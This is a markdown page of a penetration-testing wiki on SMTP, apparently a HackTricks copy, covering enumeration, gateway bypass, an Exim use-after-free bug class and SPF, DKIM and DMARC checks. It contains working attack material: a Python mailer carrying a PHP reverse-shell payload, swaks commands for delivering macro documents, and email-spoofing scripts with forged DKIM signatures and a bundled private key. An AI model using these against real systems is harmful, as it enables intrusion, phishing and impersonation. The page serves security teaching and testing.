overview.md (38074B)
1 --- 2 title: "25, 465, 587 - Pentesting SMTP" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-smtp/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-smtp/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # 25, 465, 587 - Pentesting SMTP 14 15 ## Basic information<sup>[[9]](#references)[[10]](#references)</sup> 16 17 The **Simple Mail Transfer Protocol (SMTP)** transports email between mail systems and submits outgoing messages. Users normally retrieve or synchronize messages from a mailbox with **POP3 or IMAP** instead.<sup>[[9]](#references)</sup> 18 19 Common mail transfer agents include Postfix, Exim, Sendmail, and Microsoft Exchange. Mail clients use SMTP for sending and POP3 or IMAP for mailbox access. 20 21 **Default ports:** TCP/25 for server-to-server SMTP (often upgraded with STARTTLS), TCP/465 for message submission over implicit TLS, and TCP/587 for message submission (normally with STARTTLS).<sup>[[9]](#references)[[10]](#references)</sup> 22 23 ```text 24 PORT STATE SERVICE REASON VERSION 25 25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959 26 ``` 27 28 ## Email Security Gateways (SEGs) 29 30 As mentioned in this [blog post](https://21ad.netlify.app/blogs/the-silent-inbox-how-verified-emails-slip-past-email-security-gateways/) **Secure Email Gateways (SEGs)** sit **in-line** with inbound mail flow by **changing MX records** to point to the SEG instead of the mail server. The SEG inspects inbound mail (e.g., IP reputation, blocklists, SPF checks, spoofing detection, metadata/content analysis, sandboxing, URL rewriting) and then forwards, drops, or quarantines messages based on policy. The security model assumes **all inbound mail reaches the SEG first**; if the mail server can be reached directly, the SEG can be **avoided** (similar to skipping a WAF by talking to the origin directly).<sup>[[5]](#references)</sup> 31 32 ### Avoiding SEGs via MX mismatch 33 34 Organizations using Entra ID / Exchange Online often have **multiple accepted domains**. If **any accepted domain** has an MX record that **points directly to the mail server** (e.g., Exchange Online) instead of the SEG, you can deliver mail to that domain and **avoid the SEG**. This is a **misconfiguration** (not a vulnerability) but still a common gap. 35 36 Also note the default `<tenant>.onmicrosoft.com` domain: its MX record always points to Exchange Online. If inbound to `*.onmicrosoft.com` is **not locked down**, sending to `user@<tenant>.onmicrosoft.com` may land directly in the inbox while bypassing the SEG.<sup>[[5]](#references)</sup> 37 38 **Defensive notes**: 39 40 - Lock down inbound to `*.onmicrosoft.com`. 41 - Regularly audit accepted domains and their MX routing. 42 - Configure mail servers to **only accept** inbound from the SEG. 43 44 ### Email headers 45 46 If you can make the target send you an email (for example, through a website contact form), inspect its headers for information about the target's internal mail topology. 47 48 You may also obtain a nondelivery report by sending a message to a nonexistent address. Use an allowed sender (check the SPF policy) and an address that can receive delivery-status notifications. 49 50 Different message content may produce additional headers such as `X-Virus-Scanned: by av.domain.com`. When explicitly authorized, an EICAR test file can help identify the antivirus product and reveal whether known vulnerabilities apply. 51 52 ## Basic actions 53 54 ### Banner grabbing and basic connection 55 56 **SMTP:** 57 58 ```bash 59 nc -vn <IP> 25 60 ``` 61 62 **SMTPS**: 63 64 ```bash 65 openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command 66 openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587 67 ``` 68 69 ### Finding an organization's MX servers 70 71 ```bash 72 dig +short mx google.com 73 ``` 74 75 ### Enumeration 76 77 ```bash 78 nmap -p25 --script smtp-commands 10.10.10.10 79 nmap -p25 --script smtp-open-relay 10.10.10.10 -v 80 ``` 81 82 ### NTLM Auth - Information disclosure 83 84 If the server supports NTLM auth (Windows) you can obtain sensitive info (versions). More info [**here**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).<sup>[[6]](#references)</sup> 85 86 ```bash 87 root@kali: telnet example.com 587 88 220 example.com SMTP Server Banner 89 >> HELO 90 250 example.com Hello [x.x.x.x] 91 >> AUTH NTLM 334 92 NTLM supported 93 >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= 94 334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA 95 ``` 96 97 Or **automate** this with **nmap** plugin `smtp-ntlm-info.nse` 98 99 ### Internal server name - Information disclosure 100 101 Some SMTP servers auto-complete a sender's address when command "MAIL FROM" is issued without a full address, disclosing its internal name: 102 103 ```text 104 220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200 105 EHLO all 106 250-somedomain.com Hello [x.x.x.x] 107 250-TURN 108 250-SIZE 52428800 109 250-ETRN 110 250-PIPELINING 111 250-DSN 112 250-ENHANCEDSTATUSCODES 113 250-8bitmime 114 250-BINARYMIME 115 250-CHUNKING 116 250-VRFY 117 250 OK 118 MAIL FROM: me 119 250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK 120 ``` 121 122 ### Sniffing 123 124 Check if you sniff some password from the packets to port 25 125 126 ### [Authentication brute force](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#smtp) 127 128 ## Username enumeration 129 130 **Authentication is not always needed**<sup>[[3]](#references)</sup> 131 132 ### RCPT TO 133 134 ```bash 135 $ telnet 1.1.1.1 25 136 Trying 1.1.1.1... 137 Connected to 1.1.1.1. 138 Escape character is '^]'. 139 220 myhost ESMTP Sendmail 8.9.3 140 HELO x 141 250 myhost Hello 18.28.38.48, pleased to meet you 142 MAIL FROM:example@domain.com 143 250 2.1.0 example@domain.com... Sender ok 144 RCPT TO:test 145 550 5.1.1 test... User unknown 146 RCPT TO:admin 147 550 5.1.1 admin... User unknown 148 RCPT TO:ed 149 250 2.1.5 ed... Recipient ok 150 ``` 151 152 ### VRFY 153 154 ```bash 155 $ telnet 1.1.1.1 25 156 Trying 1.1.1.1... 157 Connected to 1.1.1.1. 158 Escape character is '^]'. 159 220 myhost ESMTP Sendmail 8.9.3 160 HELO 161 501 HELO requires domain address 162 HELO x 163 250 myhost Hello 18.28.38.48, pleased to meet you 164 VRFY root 165 250 Super-User root@myhost 166 VRFY blah 167 550 blah... User unknown 168 ``` 169 170 ### EXPN 171 172 ```bash 173 $ telnet 1.1.1.1 25 174 Trying 1.1.1.1... 175 Connected to 1.1.1.1. 176 Escape character is '^]'. 177 220 myhost ESMTP Sendmail 8.9.3 178 HELO 179 501 HELO requires domain address 180 HELO x 181 EXPN test 182 550 5.1.1 test... User unknown 183 EXPN root 184 250 2.1.5 ed.williams@myhost 185 EXPN sshd 186 250 2.1.5 sshd privsep sshd@myhost 187 ``` 188 189 ### Automatic tools 190 191 ```text 192 Metasploit: auxiliary/scanner/smtp/smtp_enum 193 smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP> 194 Nmap: nmap --script smtp-enum-users <IP> 195 ``` 196 197 ## DSN Reports 198 199 **Delivery Status Notification (DSN) reports:** If you send an email to an invalid address, the receiving organization may return a failure notification. Its headers can disclose sensitive information such as mail-service IP addresses and antivirus software details. 200 201 ## [Commands](/hacktricks/network-services-pentesting/pentesting-smtp/smtp-commands) 202 203 ### Sending an Email from linux console 204 205 ```bash 206 sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf 207 Reading message body from STDIN because the '-m' option was not used. 208 If you are manually typing in a message: 209 - First line must be received within 60 seconds. 210 - End manual input with a CTRL-D on its own line. 211 212 <phishing message> 213 ``` 214 215 ```bash 216 swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197 217 ``` 218 219 When attaching files with `swaks`, use the `@` prefix so the file bytes are embedded instead of the literal filename string. This is critical for delivering macro documents:<sup>[[4]](#references)</sup> 220 221 ```bash 222 swaks --to hr@example.local --from attacker@evil.com --header "Subject: Resume" --body "Please review" --attach @resume.doc --server 10.0.0.5 223 ``` 224 225 ### Sending an Email with Python 226 227 <details> 228 229 <summary>Python code</summary> 230 231 ```python 232 from email.mime.multipart import MIMEMultipart 233 from email.mime.text import MIMEText 234 import smtplib 235 import sys 236 237 lhost = "127.0.0.1" 238 lport = 443 239 rhost = "192.168.1.1" 240 rport = 25 # 489,587 241 242 # create message object instance 243 msg = MIMEMultipart() 244 245 # setup the parameters of the message 246 password = "" 247 msg['From'] = "attacker@local" 248 msg['To'] = "victim@local" 249 msg['Subject'] = "This is not a drill!" 250 251 # payload 252 message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport)) 253 254 print("[*] Payload is generated : %s" % message) 255 256 msg.attach(MIMEText(message, 'plain')) 257 server = smtplib.SMTP(host=rhost,port=rport) 258 259 if server.noop()[0] != 250: 260 print("[-]Connection Error") 261 exit() 262 263 server.starttls() 264 265 # Uncomment if log-in with authencation 266 # server.login(msg['From'], password) 267 268 server.sendmail(msg['From'], msg['To'], msg.as_string()) 269 server.quit() 270 271 print("[***]successfully sent email to %s:" % (msg['To'])) 272 ``` 273 274 </details> 275 276 ## SMTP Smuggling 277 278 SMTP smuggling vulnerabilities can bypass SMTP security controls by exploiting differences in how mail servers recognize message boundaries. For more information, see: 279 280 281 [Smtp Smuggling](/hacktricks/network-services-pentesting/pentesting-smtp/smtp-smuggling) 282 283 284 ## Exim STARTTLS + BDAT callback desync (GnuTLS UAF) 285 286 A useful **Exim-specific exploitation surface** is the interaction between **`STARTTLS`**, **`BDAT`/`CHUNKING`**, and the TLS backend when Exim is compiled against **GnuTLS**.<sup>[[1]](#references)[[2]](#references)</sup> The interesting technique is **not the CVE itself**, but the bug class: 287 288 - A higher-level parser (**BDAT**) **pushes/wraps** the active `receive_*` callbacks and saves the old ones in a lower callback row. 289 - The lower layer (**TLS**) is later **torn down** after `gnutls_record_recv() == 0` / TLS EOF. 290 - Teardown restores only the **top-level** callbacks, but the **saved lower-layer callbacks remain stale**. 291 - A later parser repair path still calls `ungetc()` through that stale row and writes into a **freed TLS buffer**. 292 293 ### Why this matters for attackers 294 295 This creates a very practical checklist when reviewing SMTP daemons and other protocol parsers: 296 297 1. **Look for modal parser stacking** (`DATA`/`BDAT`, compression, TLS, chunked reads, content filters). 298 2. **Check teardown symmetry**: if one layer pops or resets only the active callbacks/vtable, stale saved callbacks may still reference destroyed state. 299 3. **Audit repair paths** such as `ungetc()`, line-ending fixups, pushback buffers, or end-of-message normalization; these often become the actual write primitive after a lower layer dies. 300 4. **Check for fallback after close**: if a TLS/backend read error frees state and then falls back to plaintext I/O, the outer parser may keep running long enough to turn a lifetime bug into exploitation. 301 302 ### Exim-specific shape 303 304 In Exim's `BDAT` path, `bdat_push_receive_functions()` stores the current lower layer (`tls_getc`, `tls_getbuf`, `tls_ungetc`, etc.) and replaces the active row with BDAT wrappers. If a **TLS EOF** happens while the body is still being read, `tls_close()` frees the TLS plaintext transfer buffer but BDAT can still hold **stale lower-layer pointers** to `tls_*`. Later, end-of-data line-ending repair calls `bdat_ungetc('\n')` or `bdat_ungetc('\r')`, which can reach `tls_ungetc()` and perform a **1-byte write** into the **freed** TLS buffer.<sup>[[1]](#references)</sup> 305 306 The primitive is constrained (newline or carriage return), but the offset is influenced by the TLS low-water mark. This is a classic [use-after-free](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/binary-exploitation/libc-heap/use-after-free/README.md) situation where even a single-byte post-free write may be enough to corrupt heap metadata or steer later heap reuse. 307 308 ### Triage / hunting notes 309 310 - During **`EHLO`**, check whether the server advertises **`STARTTLS`** and **`CHUNKING`** (`BDAT`). 311 - Prioritize **Exim + GnuTLS** targets where **unauthenticated SMTP sessions** can reach `STARTTLS` and then send `BDAT`.<sup>[[1]](#references)</sup> 312 - When studying exploitation potential, look for **post-free allocation windows** in mail-processing features (filters, DKIM, MIME parsing, AV hooks, canonicalization) that can **reclaim or shape** the freed chunk before the stale callback fires. 313 - This bug family is a good reminder that **protocol state-machine bugs can expose heap primitives**, so SMTP review should include both protocol desync and memory-lifetime analysis. 314 315 ## Mail Spoofing Countermeasures 316 317 Organizations use **SPF**, **DKIM**, and **DMARC** to reduce unauthorized email sent on their behalf. 318 319 A detailed guide to these countermeasures is available in [Demystifying DMARC](https://seanthegeek.net/459/demystifying-dmarc/).<sup>[[8]](#references)</sup> 320 321 ### SPF<sup>[[11]](#references)</sup> 322 323 > [!CAUTION] 324 > The dedicated DNS SPF resource-record type was deprecated; SPF policies must be published as **TXT records** at the exact domain whose mail is being evaluated. Helper policies may still live at names such as `_spf.example.com` and be referenced with `include`, for example `"v=spf1 include:_spf.google.com ~all"`. 325 326 **Sender Policy Framework** (SPF) is a mechanism that enables Mail Transfer Agents (MTAs) to verify whether a host sending an email is authorized by querying a list of authorized mail servers defined by the organizations. This list, which specifies IP addresses/ranges, domains, and other entities **authorized to send email on behalf of a domain name**, includes various "**Mechanisms**" in the SPF record. 327 328 #### Mechanisms 329 330 From [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework): 331 332 | Mechanism | Description | 333 | --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | 334 | ALL | Matches always; used for a default result like `-all` for all IPs not matched by prior mechanisms. | 335 | A | If the domain name has an address record (A or AAAA) that can be resolved to the sender's address, it will match. | 336 | IP4 | If the sender is in a given IPv4 address range, match. | 337 | IP6 | If the sender is in a given IPv6 address range, match. | 338 | MX | If the domain name has an MX record resolving to the sender's address, it will match (i.e. the mail comes from one of the domain's incoming mail servers). | 339 | PTR | If the domain name (PTR record) for the client's address is in the given domain and that domain name resolves to the client's address (forward-confirmed reverse DNS), match. This mechanism is discouraged and should be avoided, if possible. | 340 | EXISTS | If the given domain name resolves to any address, match (no matter the address it resolves to). This is rarely used. Along with the SPF macro language it offers more complex matches like DNSBL-queries. | 341 | INCLUDE | References the policy of another domain. If that domain's policy passes, this mechanism passes. However, if the included policy fails, processing continues. To fully delegate to another domain's policy, the redirect extension must be used. | 342 | REDIRECT | <p>A redirect is a pointer to another domain name that hosts an SPF policy, it allows for multiple domains to share the same SPF policy. It is useful when working with a large amount of domains that share the same email infrastructure.</p><p>It SPF policy of the domain indicated in the redirect Mechanism will be used.</p> | 343 344 Each SPF mechanism may have a **qualifier** that determines the result when the mechanism matches. The default qualifier is `+` (PASS).\ 345 An SPF policy commonly ends with `~all` or `-all`, producing SOFTFAIL or FAIL respectively when no earlier mechanism matches. 346 347 #### Qualifiers 348 349 Each mechanism within the policy may be prefixed by one of four qualifiers to define the intended result: 350 351 - **`+`**: Corresponds to a PASS result. By default, mechanisms assume this qualifier, making `+mx` equivalent to `mx`. 352 - **`?`**: Represents a NEUTRAL result, treated similarly to NONE (no specific policy). 353 - **`~`**: Denotes SOFTFAIL, serving as a middle ground between NEUTRAL and FAIL. Emails meeting this result are typically accepted but marked accordingly. 354 - **`-`**: Indicates FAIL, suggesting that the email should be outright rejected. 355 356 In the upcoming example, the **SPF policy of google.com** is illustrated. Note the inclusion of SPF policies from different domains within the first SPF policy: 357 358 ```text 359 dig txt google.com | grep spf 360 google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all" 361 362 dig txt _spf.google.com | grep spf 363 ; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com 364 ;_spf.google.com. IN TXT 365 _spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all" 366 367 dig txt _netblocks.google.com | grep spf 368 _netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all" 369 370 dig txt _netblocks2.google.com | grep spf 371 _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all" 372 373 dig txt _netblocks3.google.com | grep spf 374 _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" 375 ``` 376 377 Mail from a domain without a valid SPF policy is more likely to be treated as untrusted, but receiver behavior varies and SPF alone does not prevent visible-header spoofing. 378 379 To check the SPF of a domain you can use online tools like: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) 380 381 ### DKIM (DomainKeys Identified Mail)<sup>[[12]](#references)</sup> 382 383 DKIM is utilized to sign outbound emails, allowing their validation by external Mail Transfer Agents (MTAs) through the retrieval of the domain's public key from DNS. This public key is located in a domain's TXT record. To access this key, one must know both the selector and the domain name. 384 385 For instance, to request the key, the domain name and selector are essential. These can be found in the mail header `DKIM-Signature`, e.g., `d=gmail.com;s=20120113`. 386 387 A command to fetch this information might look like: 388 389 ```bash 390 dig 20120113._domainkey.gmail.com TXT | grep p= 391 # This command would return something like: 392 20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3 393 ``` 394 395 ### DMARC (Domain-based Message Authentication, Reporting & Conformance)<sup>[[13]](#references)</sup> 396 397 DMARC enhances email security by building on SPF and DKIM protocols. It outlines policies that guide mail servers in the handling of emails from a specific domain, including how to deal with authentication failures and where to send reports about email processing actions. 398 399 Query the `_dmarc` subdomain to obtain the DMARC record: 400 401 ```bash 402 # Reject 403 dig _dmarc.facebook.com txt | grep DMARC 404 _dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100" 405 406 # Quarantine 407 dig _dmarc.google.com txt | grep DMARC 408 _dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com" 409 410 # None 411 dig _dmarc.bing.com txt | grep DMARC 412 _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;" 413 ``` 414 415 #### DMARC tags 416 417 | Tag Name | Purpose | Sample | 418 | -------- | --------------------------------------------- | ------------------------------- | 419 | v | Protocol version | v=DMARC1 | 420 | pct | Percentage of messages subjected to filtering | pct=20 | 421 | ruf | Reporting URI for forensic reports | ruf=mailto:authfail@example.com | 422 | rua | Reporting URI of aggregate reports | rua=mailto:aggrep@example.com | 423 | p | Policy for organizational domain | p=quarantine | 424 | sp | Policy for subdomains of the OD | sp=reject | 425 | adkim | Alignment mode for DKIM | adkim=s | 426 | aspf | Alignment mode for SPF | aspf=r | 427 428 ### Extra email hardening checks (HackTricks DNS/Domain auditor) 429 430 The HackTricks Domain/DNS auditor now includes extra SMTP/email-control checks. 431 Use this to manually validate findings and explain impact in reports. 432 433 #### DMARC alignment hardening (`adkim`, `aspf`, `fo`) 434 435 **What it checks** 436 - Strict alignment (`adkim=s`, `aspf=s`) 437 - Presence of forensic policy (`fo=...`) 438 439 **How to check** 440 ```bash 441 dig _dmarc.example.com TXT +short 442 ``` 443 444 **Impact** 445 - Relaxed alignment or missing forensic controls can reduce spoofing resistance and forensic visibility. 446 447 **Attacker abuse** 448 - Attackers can craft borderline-aligned campaigns that pass weaker DMARC configurations more often. 449 450 #### MX STARTTLS transport security 451 452 **What it checks** 453 - Whether MXs advertise `STARTTLS` 454 - Whether STARTTLS negotiation works and certificates validate 455 456 **How to check** 457 ```bash 458 dig MX example.com +short 459 openssl s_client -starttls smtp -connect mx1.example.com:25 -servername mx1.example.com 460 ``` 461 462 **Impact** 463 - Missing/broken STARTTLS increases plaintext transport exposure and downgrade risk. 464 465 **Attacker abuse** 466 - Active network attackers can intercept/modify SMTP traffic more easily if STARTTLS is absent or misconfigured. 467 468 #### MTA-STS policy consistency 469 470 **What it checks** 471 - `_mta-sts` TXT exists and policy file is reachable 472 - Policy fields (`version`, `mode`, `max_age`) are valid 473 - `mx:` patterns actually match active MX hosts 474 475 **How to check** 476 ```bash 477 dig TXT _mta-sts.example.com +short 478 curl -i https://mta-sts.example.com/.well-known/mta-sts.txt 479 dig MX example.com +short 480 ``` 481 482 **Impact** 483 - Broken or inconsistent policy gives a false sense of protection and weakens SMTP TLS enforcement. 484 485 **Attacker abuse** 486 - Downgrade/MITM opportunities increase when policy hosts or MX matching are misconfigured. 487 488 #### TLS-RPT destination validation 489 490 **What it checks** 491 - `rua=` exists and uses valid `mailto:` or `https:` destinations 492 - Basic reachability hints of report destinations 493 494 **How to check** 495 ```bash 496 dig TXT _smtp._tls.example.com +short 497 ``` 498 499 **Impact** 500 - Broken report sinks = no visibility into SMTP TLS failures. 501 502 **Attacker abuse** 503 - TLS downgrade and delivery issues can remain unnoticed longer. 504 505 #### BIMI full validation (logo + VMC URL) 506 507 **What it checks** 508 - `l=` logo URL reachable and actually serves SVG content 509 - `a=` VMC URL uses HTTPS and is reachable 510 511 **How to check** 512 ```bash 513 dig TXT default._bimi.example.com +short 514 curl -I https://logo.example.com/brand.svg 515 curl -I https://example.com/vmc.pem 516 ``` 517 518 **Impact** 519 - Brand-trust controls can silently fail, reducing anti-phishing posture in supporting clients. 520 521 **Attacker abuse** 522 - Poorly validated BIMI deployments can be leveraged in social engineering narratives around "trusted sender" expectations. 523 524 #### Email service exposure / autodiscover over HTTP 525 526 **What it checks** 527 - Presence of common email service subdomains (`autodiscover`, `imap`, `pop`, `smtp`, `mail`, `webmail`) 528 - Whether autodiscover endpoint is reachable over plaintext HTTP 529 530 **How to check** 531 ```bash 532 for h in autodiscover imap pop smtp mail webmail; do dig +short ${h}.example.com A; done 533 curl -i http://autodiscover.example.com/autodiscover/autodiscover.xml 534 ``` 535 536 **Impact** 537 - Increases exposed attack surface and can enable weak-client/legacy downgrade paths. 538 539 **Attacker abuse** 540 - Autodiscover abuse and credential-harvest workflows become easier when plaintext or weak redirects are accepted. 541 542 ### **What about Subdomains?** 543 544 **From** [**here**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ 545 You need to have separate SPF records for each subdomain you wish to send mail from.\ 546 The following was originally posted on openspf.org, which used to be a great resource for this kind of thing. 547 548 > The Demon Question: What about subdomains? 549 > 550 > If I get mail from pielovers.demon.co.uk, and there's no SPF data for pielovers, should I go back one level and test SPF for demon.co.uk? No. Each subdomain at Demon is a different customer, and each customer might have their own policy. It wouldn't make sense for Demon's policy to apply to all its customers by default; if Demon wants to do that, it can set up SPF records for each subdomain. 551 > 552 > So the advice to SPF publishers is this: you should add an SPF record for each subdomain or hostname that has an A or MX record. 553 > 554 > Sites with wildcard A or MX records should also have a wildcard SPF record, of the form: \* IN TXT "v=spf1 -all" 555 556 This makes sense - a subdomain may very well be in a different geographical location and have a very different SPF definition. 557 558 ### Open relay<sup>[[7]](#references)</sup> 559 560 When emails are sent, ensuring they don't get flagged as spam is crucial. This is often achieved through the use of a **relay server that is trusted by the recipient**. However, a common challenge is that administrators might not be fully aware of which **IP ranges are safe to allow**. This lack of understanding can lead to mistakes in setting up the SMTP server, a risk frequently identified in security assessments. 561 562 A workaround that some administrators use to avoid email delivery issues, especially concerning communications with potential or ongoing clients, is to **allow connections from any IP address**. This is done by configuring the SMTP server's `mynetworks` parameter to accept all IP addresses, as shown below: 563 564 ```bash 565 mynetworks = 0.0.0.0/0 566 ``` 567 568 For checking whether a mail server is an open relay (which means it could forward email from any external source), the `nmap` tool is commonly used. It includes a specific script designed to test this. The command to conduct a verbose scan on a server (for example, with IP 10.10.10.10) on port 25 using `nmap` is: 569 570 ```bash 571 nmap -p25 --script smtp-open-relay 10.10.10.10 -v 572 ``` 573 574 ### **Tools** 575 576 - [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Check for SPF and DMARC misconfigurations** 577 - [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Automatically get SPF and DMARC configs** 578 579 ### Send Spoof Email 580 581 - [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index) 582 - [**http://www.anonymailer.net/**](http://www.anonymailer.net) 583 - [**https://emkei.cz/**](https://emkei.cz/) 584 585 **Or you could use a tool:** 586 587 - [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing) 588 589 ```bash 590 # This will send a test email from test@victim.com to destination@gmail.com 591 python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com 592 # But you can also modify more options of the email 593 python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com 594 ``` 595 596 > [!WARNING] 597 > If you get any **error using in the dkim python lib** parsing the key feel free to use this following one.\ 598 > **NOTE**: This is just a dirty fix to do quick checks in cases where for some reason the openssl private key **cannot be parsed by dkim**. 599 > 600 > ``` 601 > -----BEGIN RSA PRIVATE KEY----- 602 > MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt 603 > spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO 604 > pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB 605 > AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1 606 > koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR 607 > fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq 608 > 1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j 609 > ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc 610 > GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf 611 > 422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI 612 > Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do 613 > zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP 614 > K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ== 615 > -----END RSA PRIVATE KEY----- 616 > ``` 617 618 **Or you could do it manually:** 619 620 ### PHP 621 <pre class="language-php"><code class="lang-php"><strong># This will send an unsigned message 622 </strong><strong>mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com"); 623 </strong></code></pre> 624 625 ### Python 626 ```python 627 # Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py 628 629 import os 630 import dkim #pip3 install dkimpy 631 import smtplib 632 from email.mime.multipart import MIMEMultipart 633 from email.mime.text import MIMEText 634 from email.mime.base import MIMEBase 635 636 # Set params 637 destination="destination@gmail.com" 638 sender="administrator@victim.com" 639 subject="Test" 640 message_html=""" 641 <html> 642 <body> 643 <h3>This is a test, not a scam</h3> 644 <br /> 645 </body> 646 </html> 647 """ 648 sender_domain=sender.split("@")[1] 649 650 # Prepare postfix 651 os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf") 652 os.system("systemctl restart postfix") 653 654 # Generate DKIM keys 655 dkim_private_key_path="dkimprivatekey.pem" 656 os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null") 657 with open(dkim_private_key_path) as fh: 658 dkim_private_key = fh.read() 659 660 # Generate email 661 msg = MIMEMultipart("alternative") 662 msg.attach(MIMEText(message_html, "html")) 663 msg["To"] = destination 664 msg["From"] = sender 665 msg["Subject"] = subject 666 headers = [b"To", b"From", b"Subject"] 667 msg_data = msg.as_bytes() 668 669 # Sign email with dkim 670 ## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted) 671 dkim_selector="s1" 672 sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers) 673 msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode() 674 msg_data = msg.as_bytes() 675 676 # Use local postfix relay to send email 677 smtp="127.0.0.1" 678 s = smtplib.SMTP(smtp) 679 s.sendmail(sender, [destination], msg_data) 680 ``` 681 682 683 ### **More info** 684 685 **Find more information about these protections in** 